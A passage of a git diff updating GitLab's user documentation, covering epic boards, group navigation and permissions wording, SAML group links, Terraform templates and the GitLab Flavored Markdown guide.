--------------------- | -------------- | ---------- | ------------------------------ | +| **From Open** | - | Close epic | Add label B | +| **From Closed** | Reopen epic | - | Reopen epic and add label B | +| **From label A list** | Remove label A | Close epic | Remove label A and add label B | + +### Edit the scope of an epic board + +Prerequisites: + +- A minimum of [Reporter](../../permissions.md#group-members-permissions) access to a group in GitLab. + +To edit the scope of an epic board: + +1. In the upper-right corner, select **Edit board**. +1. Optional: + - Edit the board's title. + - Show or hide the Open and Closed columns. + - Select other labels as the board's scope. +1. Select **Save changes**. + +## Enable or disable epic boards + +Epic boards are under development but ready for production use. +It is deployed behind a feature flag that is **enabled by default**. [GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md) -can enable it. +can disable it. -To enable it: +To disable it: ```ruby -Feature.enable(:epic_boards) +Feature.disable(:epic_boards) ``` -To disable it: +To enable it: ```ruby -Feature.disable(:epic_boards) +Feature.enable(:epic_boards) ``` diff --git a/doc/user/group/epics/img/epic_board_v13_10.png b/doc/user/group/epics/img/epic_board_v13_10.png Binary files differdeleted file mode 100644 index 85a131ea605..00000000000 --- a/doc/user/group/epics/img/epic_board_v13_10.png +++ /dev/null diff --git a/doc/user/group/epics/img/epic_board_v14_0.png b/doc/user/group/epics/img/epic_board_v14_0.png Binary files differnew file mode 100644 index 00000000000..e6b4e40aa05 --- /dev/null +++ b/doc/user/group/epics/img/epic_board_v14_0.png diff --git a/doc/user/group/epics/manage_epics.md b/doc/user/group/epics/manage_epics.md index 7bb021b4b1f..89fd32a8db1 100644 --- a/doc/user/group/epics/manage_epics.md +++ b/doc/user/group/epics/manage_epics.md @@ -385,32 +385,7 @@ To remove a child epic from a parent epic: ## Cached epic count > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/299540) in GitLab 13.11. -> - It's [deployed behind a feature flag](../../feature_flags.md), enabled by default. -> - It's enabled on GitLab.com. -> - It's recommended for production use. -> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-cached-epic-count). - -WARNING: -This feature might not be available to you. Check the **version history** note above for details. +> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/327320) in GitLab 14.0. In a group, the sidebar displays the total count of open epics and this value is cached if higher than 1000. The cached value is rounded to thousands (or millions) and updated every 24 hours. - -### Enable or disable cached epic count **(PREMIUM SELF)** - -Cached epic count in the left sidebar is under development but ready for production use. It is -deployed behind a feature flag that is **enabled by default**. -[GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md) -can disable it. - -To disable it: - -```ruby -Feature.disable(:cached_sidebar_open_epics_count) -``` - -To enable it: - -```ruby -Feature.enable(:cached_sidebar_open_epics_count) -``` diff --git a/doc/user/group/import/index.md b/doc/user/group/import/index.md index 14464ff1a5f..8bf995a4fd9 100644 --- a/doc/user/group/import/index.md +++ b/doc/user/group/import/index.md @@ -69,6 +69,8 @@ The following resources are migrated to the target instance: - name - link URL - image URL +- Boards +- Board Lists Any other items are **not** migrated. @@ -105,7 +107,7 @@ on an existing group's page.  -1. On the New Group page, select the **Import group** tab. +1. On the New Group page, select **Import group**.  @@ -115,7 +117,8 @@ on an existing group's page. ### Selecting which groups to import -After you have authorized access to GitLab instance, you are redirected to the GitLab Group Migration importer page and your remote GitLab groups are listed. +After you have authorized access to the GitLab instance, you are redirected to the GitLab Group +Migration importer page. Your remote GitLab groups, which you have Owner access to, are listed. 1. By default, the proposed group namespaces match the names as they exist in remote instance, but based on your permissions, you can choose to edit these names before you proceed to import any of them. diff --git a/doc/user/group/index.md b/doc/user/group/index.md index 7f2e502b94b..104ea57db4a 100644 --- a/doc/user/group/index.md +++ b/doc/user/group/index.md @@ -23,7 +23,8 @@ For larger organizations, you can also create [subgroups](subgroups/index.md). To view groups: -1. In the top menu, select **Groups > Your Groups**. All groups you are a member of are displayed. +1. On the top bar, select **Menu > Groups**. +1. Select **Your Groups**. All groups you are a member of are displayed. 1. To view a list of public groups, select **Explore public groups**. You can also view groups by namespace. @@ -48,9 +49,10 @@ For example, consider a user named Alex: To create a group: -1. From the top menu, either: - - Select **Groups > Your Groups**, and on the right, select the **New group** button. +1. On the top bar, either: + - Select **Menu > Groups**, and on the right, select **Create group**. - To the left of the search box, select the plus sign and then **New group**. +1. Select **Create group**. 1. For the **Group name**, use only: - Alphanumeric characters - Emojis @@ -74,18 +76,20 @@ For details about groups, watch [GitLab Namespaces (users, groups and subgroups) You can give a user access to all projects in a group. -1. From the top menu, select **Groups > Your Groups**. +1. On the top bar, select **Menu > Groups**. +1. Select **Your Groups**. 1. Find your group and select it. 1. From the left sidebar, select **Members**. 1. Fill in the fields. - - The role applies to all projects in the group. [Learn more about permissions](../permissions.md#permissions). + - The role applies to all projects in the group. [Learn more about permissions](../permissions.md). - On the **Access expiration date**, the user can no longer access projects in the group. ## Request access to a group As a user, you can request to be a member of a group, if an administrator allows it. -1. From the top menu, select **Groups > Your Groups**. +1. On the top bar, select **Menu > Groups**. +1. Select **Your Groups**. 1. Find the group and select it. 1. Under the group name, select **Request Access**. @@ -100,7 +104,8 @@ If you change your mind before your request is approved, select As a group owner, you can prevent non-members from requesting access to your group. -1. From the top menu, select **Groups > Your Groups**. +1. On the top bar, select **Menu > Groups**. +1. Select **Your Groups**. 1. Find the group and select it. 1. From the left menu, select **Settings > General**. 1. Expand the **Permissions, LFS, 2FA** section. @@ -110,22 +115,22 @@ your group. ## Change the owner of a group You can change the owner of a group. Each group must always have at least one -member with [Owner permission](../permissions.md#group-members-permissions). +member with the [Owner role](../permissions.md#group-members-permissions). - As an administrator: 1. Go to the group and from the left menu, select **Members**. - 1. Give a different member **Owner** permissions. - 1. Refresh the page. You can now remove **Owner** permissions from the original owner. + 1. Give a different member the **Owner** role. + 1. Refresh the page. You can now remove the **Owner** role from the original owner. - As the current group's owner: 1. Go to the group and from the left menu, select **Members**. - 1. Give a different member **Owner** permissions. - 1. Have the new owner sign in and remove **Owner** permissions from you. + 1. Give a different member the **Owner** role. + 1. Have the new owner sign in and remove the **Owner** role from you. ## Remove a member from the group Prerequisites: -- You must have [Owner permissions](../permissions.md#group-members-permissions). +- You must have the [Owner role](../permissions.md#group-members-permissions). - The member must have direct membership in the group. If membership is inherited from a parent group, then the member can be removed from the parent group only. @@ -245,9 +250,10 @@ These Group Activity Analytics can be enabled with the `group_activity_analytics You can view the most recent actions taken in a group. -1. From the top menu, select **Groups > Your Groups**. +1. On the top bar, select **Menu > Groups**. +1. Select **Your Groups**. 1. Find the group and select it. -1. From the left menu, select **Group overview > Activity**. +1. On the left sidebar, select **Group information > Activity**. To view the activity feed in Atom format, select the **RSS** (**{rss}**) icon. @@ -270,7 +276,7 @@ To share a given group, for example, `Frontend` with another group, for example, 1. From the left menu, select **Members**. 1. Select the **Invite group** tab. 1. In the **Select a group to invite** list, select `Engineering`. -1. For the **Max access level**, select an access level. +1. For the **Max role**, select a [role](../permissions.md). 1. Select **Invite**. All the members of the `Engineering` group are added to the `Frontend` group. @@ -292,7 +298,7 @@ To share a group after enabling this feature: 1. Go to your group's page. 1. In the left sidebar, go to **Members**, and then select **Invite a group**. -1. Select a group, and select a **Max access level**. +1. Select a group, and select a **Max role**. 1. (Optional) Select an **Access expiration date**. 1. Select **Invite**. @@ -351,7 +357,7 @@ You can transfer groups in the following ways: When transferring groups, note: -- Changing a group's parent can have unintended side effects. See [Redirects when changing repository paths](../project/repository/index.md#redirects-when-changing-repository-paths). +- Changing a group's parent can have unintended side effects. See [what happens when a repository path changes](../project/repository/index.md#what-happens-when-a-repository-path-changes). - You can only transfer groups to groups you manage. - You must update your local repositories to point to the new location. - If the immediate parent group's visibility is lower than the group's current visibility, visibility levels for subgroups and projects change to match the new parent group's visibility. @@ -361,7 +367,7 @@ When transferring groups, note: ## Change a group's path Changing a group's path (group URL) can have unintended side effects. Read -[how redirects behave](../project/repository/index.md#redirects-when-changing-repository-paths) +[how redirects behave](../project/repository/index.md#what-happens-when-a-repository-path-changes) before you proceed. If you are changing the path so it can be claimed by another group or user, @@ -419,6 +425,30 @@ To restore a group that is marked for deletion: 1. Expand the **Path, transfer, remove** section. 1. In the Restore group section, select **Restore group**. +## Prevent group sharing outside the group hierarchy + +This setting is only available on top-level groups. It affects all subgroups. + +When checked, any group within the top-level group hierarchy can be shared only with other groups within the hierarchy. + +For example, with these groups: + +- **Animals > Dogs** +- **Animals > Cats** +- **Plants > Trees** + +If you select this setting in the **Animals** group: + +- **Dogs** can be shared with **Cats**. +- **Dogs** cannot be shared with **Trees**. + +To prevent sharing outside of the group's hierarchy: + +1. Go to the group's **Settings > General** page. +1. Expand the **Permissions, LFS, 2FA** section. +1. Select **Prevent members from sending invitations to groups outside of `<group_name>` and its subgroups**. +1. Select **Save changes**. + ## Prevent a project from being shared with groups Prevent projects in a group from [sharing diff --git a/doc/user/group/insights/index.md b/doc/user/group/insights/index.md index 4975b27a66d..18177d656ab 100644 --- a/doc/user/group/insights/index.md +++ b/doc/user/group/insights/index.md @@ -28,7 +28,7 @@ the project that holds your `.gitlab/insights.yml` configuration file:  If no configuration was set, a [default configuration file]( -https://gitlab.com/gitlab-org/gitlab/blob/master/ee/fixtures/insights/default.yml) +https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/fixtures/insights/default.yml) will be used. See the [Project's Insights documentation](../../project/insights/index.md) for diff --git a/doc/user/group/issues_analytics/img/issues_created_per_month_v12_8_a.png b/doc/user/group/issues_analytics/img/issues_created_per_month_v12_8_a.png Binary files differindex 5994cbfa401..2e19aa38412 100644 --- a/doc/user/group/issues_analytics/img/issues_created_per_month_v12_8_a.png +++ b/doc/user/group/issues_analytics/img/issues_created_per_month_v12_8_a.png diff --git a/doc/user/group/repositories_analytics/index.md b/doc/user/group/repositories_analytics/index.md index ef47ceadd88..b9f94d96b48 100644 --- a/doc/user/group/repositories_analytics/index.md +++ b/doc/user/group/repositories_analytics/index.md @@ -69,7 +69,9 @@ For each day that a coverage report was generated by a job in a project's pipeli If the project's code coverage was calculated more than once in a day, we will take the last value from that day. NOTE: -[In GitLab 13.7 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/270102), group code coverage data is taken from the configured [default branch](../../project/repository/branches/default.md). In earlier versions, it is taken from the `master` branch. +[In GitLab 13.7 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/270102), group code coverage +data is taken from the configured [default branch](../../project/repository/branches/default.md). +In earlier versions, it is taken from the `master` branch. <!-- ## Troubleshooting diff --git a/doc/user/group/saml_sso/img/member_enterprise_badge_v14_0.png b/doc/user/group/saml_sso/img/member_enterprise_badge_v14_0.png Binary files differnew file mode 100644 index 00000000000..f9534b14a51 --- /dev/null +++ b/doc/user/group/saml_sso/img/member_enterprise_badge_v14_0.png diff --git a/doc/user/group/saml_sso/img/saml_group_links_v13_9.png b/doc/user/group/saml_sso/img/saml_group_links_v13_9.png Binary files differnew file mode 100644 index 00000000000..9bd2473f90c --- /dev/null +++ b/doc/user/group/saml_sso/img/saml_group_links_v13_9.png diff --git a/doc/user/group/saml_sso/index.md b/doc/user/group/saml_sso/index.md index 1864547c57f..8a5cdb79186 100644 --- a/doc/user/group/saml_sso/index.md +++ b/doc/user/group/saml_sso/index.md @@ -152,6 +152,10 @@ We recommend: - **Unique User Identifier (Name identifier)** set to `user.objectID`. - **nameid-format** set to persistent. +If using [Group Sync](#group-sync), customize the name of the group claim to match the required attribute. + +See the [troubleshooting page](../../../administration/troubleshooting/group_saml_scim.md#azure-active-directory) for an example configuration. + ### Okta setup notes Please follow the Okta documentation on [setting up a SAML application in Okta](https://developer.okta.com/docs/guides/build-sso-integration/saml2/overview/) with the notes below for consideration. @@ -324,18 +328,23 @@ Ensure your SAML identity provider sends an attribute statement named `Groups` o </saml:AttributeStatement> ``` +NOTE: +To inspect the SAML response, you can use one of these [SAML debugging tools](#saml-debugging-tools). +Also note that the value for `Groups` or `groups` in the SAML reponse can be either the group name or +the group ID depending what the IdP sends to GitLab. + When SAML SSO is enabled for the top-level group, `Maintainer` and `Owner` level users -see a new menu item in group **Settings > SAML Group Links**. Each group (parent or subgroup) can specify -one or more group links to map a SAML identity provider group name to a GitLab access level. +see a new menu item in group **Settings > SAML Group Links**. You can configure one or more **SAML Group Links** to map +a SAML identity provider group name to a GitLab Access Level. This can be done for the parent group or the subgroups. -To link the SAML `Freelancers` group in the attribute statement example above: +To link the SAML groups from the `saml:AttributeStatement` example above: -1. Enter `Freelancers` in the `SAML Group Name` field. +1. Enter the value of `saml:AttributeValue` in the `SAML Group Name` field. 1. Choose the desired `Access Level`. 1. **Save** the group link. 1. Repeat to add additional group links if desired. - + If a user is a member of multiple SAML groups mapped to the same GitLab group, the user gets the highest access level from the groups. For example, if one group @@ -450,7 +459,7 @@ SAML configuration for GitLab.com is mostly the same as for self-managed instanc However, self-managed GitLab instances use a configuration file that supports more options as described in the external [OmniAuth SAML documentation](https://github.com/omniauth/omniauth-saml/). Internally that uses the [`ruby-saml` library](https://github.com/onelogin/ruby-saml), so we sometimes check there to verify low level details of less commonly used options. -It can also help to compare the XML response from your provider with our [example XML used for internal testing](https://gitlab.com/gitlab-org/gitlab/blob/master/ee/spec/fixtures/saml/response.xml). +It can also help to compare the XML response from your provider with our [example XML used for internal testing](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/spec/fixtures/saml/response.xml). ### Searching Rails log diff --git a/doc/user/group/saml_sso/scim_setup.md b/doc/user/group/saml_sso/scim_setup.md index 65b3e2d095d..fd75c49fa6c 100644 --- a/doc/user/group/saml_sso/scim_setup.md +++ b/doc/user/group/saml_sso/scim_setup.md @@ -175,6 +175,10 @@ We recommend users do this prior to turning on sync, because while synchronizati New users and existing users on subsequent visits can access the group through the identify provider's dashboard or by visiting links directly. +[In GitLab 14.0 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/325712), GitLab users created with a SCIM identity display with an **Enterprise** badge in the **Members** view. + + + For role information, please see the [Group SAML page](index.md#user-access-and-management) ### Blocking access diff --git a/doc/user/group/settings/import_export.md b/doc/user/group/settings/import_export.md index 5d375e2abd9..c097790ef16 100644 --- a/doc/user/group/settings/import_export.md +++ b/doc/user/group/settings/import_export.md @@ -4,7 +4,7 @@ stage: Manage group: Import info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Group Import/Export +# Group import/export **(FREE)** > - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/2888) in GitLab 13.0 as an experimental feature. May change in future releases. @@ -21,9 +21,9 @@ See also: To enable GitLab import/export: -1. Navigate to **Admin Area > Settings > Visibility and access controls**. -1. Scroll to **Import sources** -1. Enable desired **Import sources** +1. On the top bar, go to **Menu > Admin > Settings > General > Visibility and access controls**. +1. Scroll to **Import sources**. +1. Enable the desired **Import sources**. ## Important Notes @@ -58,7 +58,7 @@ The following items are **not** exported: NOTE: For more details on the specific data persisted in a group export, see the -[`import_export.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/import_export/group/import_export.yml) file. +[`import_export.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/import_export/group/import_export.yml) file. ## Exporting a Group diff --git a/doc/user/group/subgroups/index.md b/doc/user/group/subgroups/index.md index df0d297a82a..4532a391eef 100644 --- a/doc/user/group/subgroups/index.md +++ b/doc/user/group/subgroups/index.md @@ -67,8 +67,6 @@ Another example of GitLab as a company would be the following: - (project) Chef cookbooks - Category Subgroup - Executive team ---- - When performing actions such as transferring or importing a project between subgroups, the behavior is the same as when performing these actions at the `group/project` level. @@ -85,13 +83,20 @@ By default, groups created in: The setting can be changed for any group by: -- A group owner. Select the group, and navigate to **Settings > General > Permissions, LFS, 2FA**. -- An administrator. Navigate to **Admin Area > Overview > Groups**, select the group, and choose **Edit**. +- A group owner: + 1. Select the group. + 1. On the left sidebar, select **Settings > General**. + 1. Expand the **Permissions, LFS, 2FA** section. +- An administrator: + 1. On the top bar, select **Menu >** **{admin}** **Admin**. + 1. On the left sidebar, select **Overview > Groups**. + 1. Select the group, and select **Edit**. + +For: -For more information check the -[permissions table](../../permissions.md#group-members-permissions). For a list -of words that are not allowed to be used as group names see the -[reserved names](../../reserved_names.md). +- More information, check the [permissions table](../../permissions.md#group-members-permissions). +- A list of words that are not allowed to be used as group names, see the + [reserved names](../../reserved_names.md). Users can always create subgroups if they are explicitly added as an Owner (or Maintainer, if that setting is enabled) to an immediate parent group, even if group @@ -163,7 +168,7 @@ added to), add the user to the new subgroup again with a higher set of permissio For example, if User 1 was first added to group `one/two` with Developer permissions, then they inherit those permissions in every other subgroup -of `one/two`. To give them Maintainer access to group `one/two/three/four`, +of `one/two`. To give them the [Maintainer role](../../permissions.md) for group `one/two/three/four`, you would add them again in that group as Maintainer. Removing them from that group, the permissions fall back to those of the ancestor group. diff --git a/doc/user/group/value_stream_analytics/img/delete_value_stream_v13_12.png b/doc/user/group/value_stream_analytics/img/delete_value_stream_v13_12.png Binary files differindex c02f259ae8c..ef532986100 100644 --- a/doc/user/group/value_stream_analytics/img/delete_value_stream_v13_12.png +++ b/doc/user/group/value_stream_analytics/img/delete_value_stream_v13_12.png diff --git a/doc/user/group/value_stream_analytics/img/new_value_stream_v13_12.png b/doc/user/group/value_stream_analytics/img/new_value_stream_v13_12.png Binary files differindex b2b6ce04a14..d64ec31aabf 100644 --- a/doc/user/group/value_stream_analytics/img/new_value_stream_v13_12.png +++ b/doc/user/group/value_stream_analytics/img/new_value_stream_v13_12.png diff --git a/doc/user/group/value_stream_analytics/img/vsa_filter_bar_v13_12.png b/doc/user/group/value_stream_analytics/img/vsa_filter_bar_v13_12.png Binary files differindex ee0d007a778..834556df051 100644 --- a/doc/user/group/value_stream_analytics/img/vsa_filter_bar_v13_12.png +++ b/doc/user/group/value_stream_analytics/img/vsa_filter_bar_v13_12.png diff --git a/doc/user/group/value_stream_analytics/img/vsa_label_based_stage_v14_0.png b/doc/user/group/value_stream_analytics/img/vsa_label_based_stage_v14_0.png Binary files differindex 1f47670462c..648ab53dd12 100644 --- a/doc/user/group/value_stream_analytics/img/vsa_label_based_stage_v14_0.png +++ b/doc/user/group/value_stream_analytics/img/vsa_label_based_stage_v14_0.png diff --git a/doc/user/group/value_stream_analytics/img/vsa_overview_stage_v13_11.png b/doc/user/group/value_stream_analytics/img/vsa_overview_stage_v13_11.png Binary files differindex 7d47003972c..8d77c53db7f 100644 --- a/doc/user/group/value_stream_analytics/img/vsa_overview_stage_v13_11.png +++ b/doc/user/group/value_stream_analytics/img/vsa_overview_stage_v13_11.png diff --git a/doc/user/group/value_stream_analytics/img/vsa_time_metrics_v13_12.png b/doc/user/group/value_stream_analytics/img/vsa_time_metrics_v13_12.png Binary files differindex 63bae51afef..68d9741bed8 100644 --- a/doc/user/group/value_stream_analytics/img/vsa_time_metrics_v13_12.png +++ b/doc/user/group/value_stream_analytics/img/vsa_time_metrics_v13_12.png diff --git a/doc/user/group/value_stream_analytics/index.md b/doc/user/group/value_stream_analytics/index.md index 4b473c9217d..c1dd363c313 100644 --- a/doc/user/group/value_stream_analytics/index.md +++ b/doc/user/group/value_stream_analytics/index.md @@ -65,7 +65,7 @@ To filter results: > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/13216) in GitLab 12.4. -GitLab provides the ability to filter analytics based on a date range. To filter results: +GitLab provides the ability to filter analytics based on a date range. Data is shown for workflow items created during the selected date range. To filter results: 1. Select a group. 1. Optionally select a project. @@ -104,7 +104,7 @@ Each stage of Value Stream Analytics is further described in the table below. | **Stage** | **Description** | | --------- | --------------- | -| Issue | Measures the median time between creating an issue and taking action to solve it, by either labeling it or adding it to a milestone, whatever comes first. The label will be tracked only if it already has an [Issue Board list](../../project/issue_board.md) created for it. | +| Issue | Measures the median time between creating an issue and taking action to solve it, by either labeling it or adding it to a milestone, whatever comes first. The label is tracked only if it already has an [Issue Board list](../../project/issue_board.md) created for it. | | Plan | Measures the median time between the action you took for the previous stage, and pushing the first commit to the branch. The very first commit of the branch is the one that triggers the separation between **Plan** and **Code**, and at least one of the commits in the branch needs to contain the related issue number (e.g., `#42`). If none of the commits in the branch mention the related issue number, it is not considered to the measurement time of the stage. | | Code | Measures the median time between pushing a first commit (previous stage) and creating a merge request (MR) related to that commit. The key to keep the process tracked is to include the [issue closing pattern](../../project/issues/managing_issues.md#closing-issues-automatically) to the description of the merge request (for example, `Closes #xxx`, where `xxx` is the number of the issue related to this merge request). If the closing pattern is not present, then the calculation takes the creation time of the first commit in the merge request as the start time. | | Test | Measures the median time to run the entire pipeline for that project. It's related to the time GitLab CI/CD takes to run every job for the commits pushed to that merge request defined in the previous stage. It is basically the start->finish time for all pipelines. | diff --git a/doc/user/img/completed_tasks_v13_3.png b/doc/user/img/completed_tasks_v13_3.png Binary files differindex 31e051852cb..b12d95f0a23 100644 --- a/doc/user/img/completed_tasks_v13_3.png +++ b/doc/user/img/completed_tasks_v13_3.png diff --git a/doc/user/infrastructure/index.md b/doc/user/infrastructure/index.md index b202359847c..05ffab93f85 100644 --- a/doc/user/infrastructure/index.md +++ b/doc/user/infrastructure/index.md @@ -20,7 +20,7 @@ for GitLab versions 13.5 and later: ```yaml include: - - template: Terraform.latest.gitlab-ci.yml + - template: Terraform.gitlab-ci.yml variables: # If not using GitLab's HTTP backend, remove this line and specify TF_HTTP_* variables @@ -30,15 +30,14 @@ variables: # TF_ROOT: terraform/production ``` -This template uses `.latest.`, instead of stable, and may include breaking changes. -This template also includes some opinionated decisions, which you can override: +This template includes some opinionated decisions, which you can override: - Including the latest [GitLab Terraform Image](https://gitlab.com/gitlab-org/terraform-images). - Using the [GitLab managed Terraform State](#gitlab-managed-terraform-state) as the Terraform state storage backend. -- Creating [four pipeline stages](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Terraform.latest.gitlab-ci.yml): +- Creating [four pipeline stages](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Terraform.gitlab-ci.yml): `init`, `validate`, `build`, and `deploy`. These stages - [run the Terraform commands](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Terraform/Base.latest.gitlab-ci.yml) + [run the Terraform commands](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Terraform/Base.gitlab-ci.yml) `init`, `validate`, `plan`, `plan-json`, and `apply`. The `apply` command only runs on `master`. This video from January 2021 walks you through all the GitLab Terraform integration features: @@ -74,6 +73,12 @@ Neither Terraform nor GitLab encrypts the plan file by default. If your Terrafor includes sensitive data such as passwords, access tokens, or certificates, GitLab strongly recommends encrypting plan output or modifying the project visibility settings. +## Terraform module registry + +GitLab can be used as a [Terraform module registry](../packages/terraform_module_registry/index.md) +to create and publish Terraform modules to a private registry specific to your +top-level namespace. + ## Terraform integration in Merge Requests Collaborating around Infrastructure as Code (IaC) changes requires both code changes diff --git a/doc/user/infrastructure/terraform_state.md b/doc/user/infrastructure/terraform_state.md index 2cd5ed8ac78..0b92ea46338 100644 --- a/doc/user/infrastructure/terraform_state.md +++ b/doc/user/infrastructure/terraform_state.md @@ -28,10 +28,10 @@ before using this feature. ## Permissions for using Terraform -In GitLab version 13.1, [Maintainer access](../permissions.md) was required to use a -GitLab managed Terraform state backend. In GitLab versions 13.2 and greater, -[Maintainer access](../permissions.md) is required to lock, unlock and write to the state -(using `terraform apply`), while [Developer access](../permissions.md) is required to read +In GitLab version 13.1, the [Maintainer role](../permissions.md) was required to use a +GitLab managed Terraform state backend. In GitLab versions 13.2 and greater, the +[Maintainer role](../permissions.md) is required to lock, unlock, and write to the state +(using `terraform apply`), while the [Developer role](../permissions.md) is required to read the state (using `terraform plan -lock=false`). ## Set up GitLab-managed Terraform state @@ -41,7 +41,8 @@ To get started with a GitLab-managed Terraform state, there are two different op - [Use a local machine](#get-started-using-local-development). - [Use GitLab CI](#get-started-using-gitlab-ci). -Terraform States can be found by navigating to a Project's **{cloud-gear}** **Operations > Terraform** page. +Terraform States can be found by navigating to a Project's +**{cloud-gear}** **Infrastructure > Terraform** page. ### Get started using local development @@ -351,8 +352,8 @@ location. You can then go back to running it in GitLab CI/CD. > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/273592) in GitLab 13.8. Users with Developer and greater [permissions](../permissions.md) can view the -state files attached to a project at **Operations > Terraform**. Users with -Maintainer permissions can perform commands on the state files. The user interface +state files attached to a project at **Infrastructure > Terraform**. Users with the +Maintainer role can perform commands on the state files. The user interface contains these fields:  @@ -376,7 +377,7 @@ are planned. Users with Maintainer and greater [permissions](../permissions.md) can use the following options to remove a state file: -- **GitLab UI**: Go to **Operations > Terraform**. In the **Actions** column, +- **GitLab UI**: Go to **Infrastructure > Terraform**. In the **Actions** column, click the vertical ellipsis (**{ellipsis_v}**) button and select **Remove state file and versions**. - **GitLab REST API**: You can remove a state file by making a request to the diff --git a/doc/user/instance/clusters/index.md b/doc/user/instance/clusters/index.md index 33366c658d7..24fabbc5a42 100644 --- a/doc/user/instance/clusters/index.md +++ b/doc/user/instance/clusters/index.md @@ -14,7 +14,10 @@ instance-level Kubernetes clusters allow you to connect a Kubernetes cluster to the GitLab instance, which enables you to use the same cluster across multiple projects. -The instance level Kubernetes clusters can be found in the top menu by navigating to your instance's **{admin}** **Admin Area > Kubernetes**. +To view the instance level Kubernetes clusters: + +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. In the left sidebar, select **Kubernetes**. ## Cluster precedence diff --git a/doc/user/markdown.md b/doc/user/markdown.md index cbd5bf1553a..fdfd953e52a 100644 --- a/doc/user/markdown.md +++ b/doc/user/markdown.md @@ -5,25 +5,36 @@ info: "To determine the technical writer assigned to the Stage/Group associated type: reference, howto --- -# GitLab Markdown **(FREE)** +# GitLab Flavored Markdown **(FREE)** -This Markdown guide is **valid only for the GitLab internal Markdown rendering system for entries and files**. -It is **not** valid for the [GitLab documentation website](https://docs.gitlab.com) -or the [GitLab main website](https://about.gitlab.com), as they both use -[Kramdown](https://kramdown.gettalong.org) as their Markdown engine. The documentation -website uses an extended Kramdown gem, [GitLab Kramdown](https://gitlab.com/gitlab-org/gitlab_kramdown). -Consult the [GitLab Kramdown Guide](https://about.gitlab.com/handbook/markdown-guide/) -for a complete Kramdown reference. +GitLab automatically renders Markdown content. For example, when you add a comment to an issue, +you type the text in the Markdown language. When you save the issue, the text is rendered +with a set of styles. These styles are described on this page. -NOTE: -We encourage you to view this document as [rendered by GitLab itself](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/user/markdown.md). +For example, in Markdown, an ordered list looks like this: + +```markdown +- Cat +- Dog +- Turtle +``` + +When this list is rendered, it looks like this: + +- Cat +- Dog +- Turtle + +These styles are **valid for GitLab only**. The [GitLab documentation website](https://docs.gitlab.com) +and the [main GitLab website](https://about.gitlab.com) use [Kramdown](https://kramdown.gettalong.org) instead. -## GitLab Flavored Markdown +You should not view this page in the documentation, but instead [view these styles as they appear on GitLab](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/user/markdown.md). -GitLab uses "GitLab Flavored Markdown". It extends the [CommonMark specification](https://spec.commonmark.org/current/) -(which is based on standard Markdown) in several ways to add more features. +GitLab Flavored Markdown extends the [CommonMark specification](https://spec.commonmark.org/current/). It was inspired by [GitHub Flavored Markdown](https://docs.github.com/en/github/writing-on-github/basic-writing-and-formatting-syntax). +## Where you can use GitLab Flavored Markdown + You can use GitLab Flavored Markdown in the following areas: - Comments @@ -33,86 +44,29 @@ You can use GitLab Flavored Markdown in the following areas: - Snippets (the snippet must be named with a `.md` extension) - Wiki pages - Markdown documents inside repositories -- Epics **(ULTIMATE)** +- Epics You can also use other rich text files in GitLab. You might have to install a dependency -to do so. Please see the [`gitlab-markup` gem project](https://gitlab.com/gitlab-org/gitlab-markup) -for more information. - -### Transition from Redcarpet to CommonMark +to do so. For more information, see the [`gitlab-markup` gem project](https://gitlab.com/gitlab-org/gitlab-markup). -- In GitLab version 11.8, the [Redcarpet Ruby library](https://github.com/vmg/redcarpet) - was removed. All issues and comments, including those from pre-11.1, are now processed - using the [CommonMark Ruby Library](https://github.com/gjtorikian/commonmarker). -- GitLab versions 11.3 and greater use CommonMark to process wiki pages and Markdown - files (`*.md`) in repositories. -- GitLab versions 11.1 and greater use the [CommonMark Ruby Library](https://github.com/gjtorikian/commonmarker) - for Markdown processing of all new issues, merge requests, comments, and other Markdown - content in the GitLab system. +### Differences between GitLab Flavored Markdown and standard Markdown -The documentation website migrated its Markdown engine -[from Redcarpet to Kramdown](https://gitlab.com/gitlab-org/gitlab-docs/-/merge_requests/108) -in October 2018. +GitLab uses standard CommonMark formatting. However, GitLab Flavored Markdown +extends standard Markdown with features made specifically for GitLab. -You may have older issues, merge requests, or Markdown documents in your -repository that relied upon nuances of the GitLab RedCarpet version -of Markdown. Because CommonMark uses slightly stricter syntax, these documents -may now appear differently after the transition to CommonMark. - -For example, numbered lists with nested lists may -render incorrectly: - -```markdown -1. Chocolate - - dark - - milk -``` - -To correct their rendering, add a space to each nested item to align the `-` with the first -character of the top list item (`C` in this case): - -```markdown -1. Chocolate - - dark - - milk -``` - -1. Chocolate - - dark - - milk - -We flag any significant differences between Redcarpet and CommonMark Markdown in this document. - -If you have many Markdown files, it can be tedious to determine -if they display correctly or not. You can use the -[`diff_redcarpet_cmark`](https://gitlab.com/digitalmoksha/diff_redcarpet_cmark) -tool to generate a list of files and the -differences between how RedCarpet and CommonMark render the files. It indicates -if any changes are needed. - -`diff_redcarpet_cmark` is not an officially supported product. +Features not found in standard Markdown: -### GitLab Flavored Markdown extends standard Markdown - -GitLab makes full use of the standard (CommonMark) formatting, but also includes more -helpful features for GitLab users. - -It makes use of [new Markdown features](#new-gitlab-flavored-markdown-extensions), -not found in 